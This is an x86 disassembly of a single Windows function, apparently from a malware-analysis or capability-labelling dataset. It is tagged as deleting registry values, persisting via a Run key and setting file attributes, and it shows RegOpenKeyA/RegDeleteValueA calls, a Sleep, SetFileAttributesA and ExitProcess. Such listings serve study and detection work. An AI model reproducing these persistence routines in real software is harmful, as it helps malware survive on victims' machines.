Function at 0x415b4c
Capabilities:
Delete registry value
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x415b54
push ecx
push ebx
xor eax, eax
push ebp
push 0x415e0b
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004157e0
mov edx, dword [0x427638]
mov edx, dword [edx]
lea eax, [ebp - 8]
mov ecx, 0x415e20
call fcn.00402cac
mov eax, dword [ebp - 8]
call fcn.00402e58
push eax
push 0
push 0
call fcn.00404174
mov ebx, eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408af0
push 0x3a98
call sub.kernel32.dll_Sleep
mov eax, dword [0x427470]
mov eax, dword [eax]
cmp byte [eax + 0x10], 0
jne 0x415df0
mov eax, dword [0x42746c]
cmp byte [eax], 1
jne 0x415bfc
lea eax, [ebp - 4]
push eax
push 0x415e28
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x427524]
mov eax, dword [eax]
call fcn.00402e58
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, dword [0x4274d4]
cmp byte [eax], 1
jne 0x415c38
lea eax, [ebp - 4]
push eax
push 0x415e28
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x427598]
mov eax, dword [eax]
call fcn.00402e58
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, dword [0x427540]
cmp byte [eax], 1
jne 0x415ca6
lea eax, [ebp - 4]
push eax
push 0x415e58
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x4274c4]
mov eax, dword [eax]
call fcn.00402e58
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 4]
push eax
push 0x415e58
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x4274c4]
mov eax, dword [eax]
call fcn.00402e58
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, dword [0x4274e4]
cmp byte [eax], 1
jne 0x415cd1
mov dl, 1
mov eax, dword [0x40e8e8]
call fcn.0040e940
push eax
mov eax, dword [0x427450]
mov eax, dword [eax]
call fcn.00402e58
mov edx, eax
pop eax
call fcn.0040eae4
mov ecx, dword [0x4274f0]
mov ecx, dword [ecx]
lea eax, [ebp - 0xc]
mov edx, 0x415ea0
call fcn.00402cac
mov edx, dword [ebp - 0xc]
mov eax, 0x80000001
call fcn.00415a3c
mov edx, 0x415eb4
mov eax, 0x80000001
call fcn.00415a3c
call fcn.0040b428
push 0x80
lea edx, [ebp - 0x10]
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.00405fc0
mov eax, dword [ebp - 0x10]
call fcn.00402e58
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x429cb0]
push eax
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.00405e60
lea edx, [ebp - 0x14]
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.00405fc0
lea eax, [ebp - 0x14]
mov edx, dword [0x4274e0]
mov edx, dword [edx]
call fcn.00402c68
mov eax, dword [ebp - 0x14]
call fcn.00405e60
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00401448
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004065c0
mov eax, dword [ebp - 0x18]
push eax
lea edx, [ebp - 0x20]
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.004065c0
mov edx, dword [ebp - 0x20]
pop eax
call fcn.00402da4
jne 0x415da5
call fcn.00415b10
lea edx, [ebp - 0x24]
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.00405fc0
mov eax, dword [ebp - 0x24]
call fcn.00404764
cmp al, 1
jne 0x415de9
lea edx, [ebp - 0x2c]
mov eax, dword [0x427504]
mov eax, dword [eax]
call fcn.00405fc0
mov eax, dword [ebp - 0x2c]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x28]
call fcn.00402bd0
mov eax, dword [ebp - 0x28]
call fcn.00404ffc
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415e12
lea eax, [ebp - 0x2c]
mov edx, 0xa
call fcn.00402a08
ret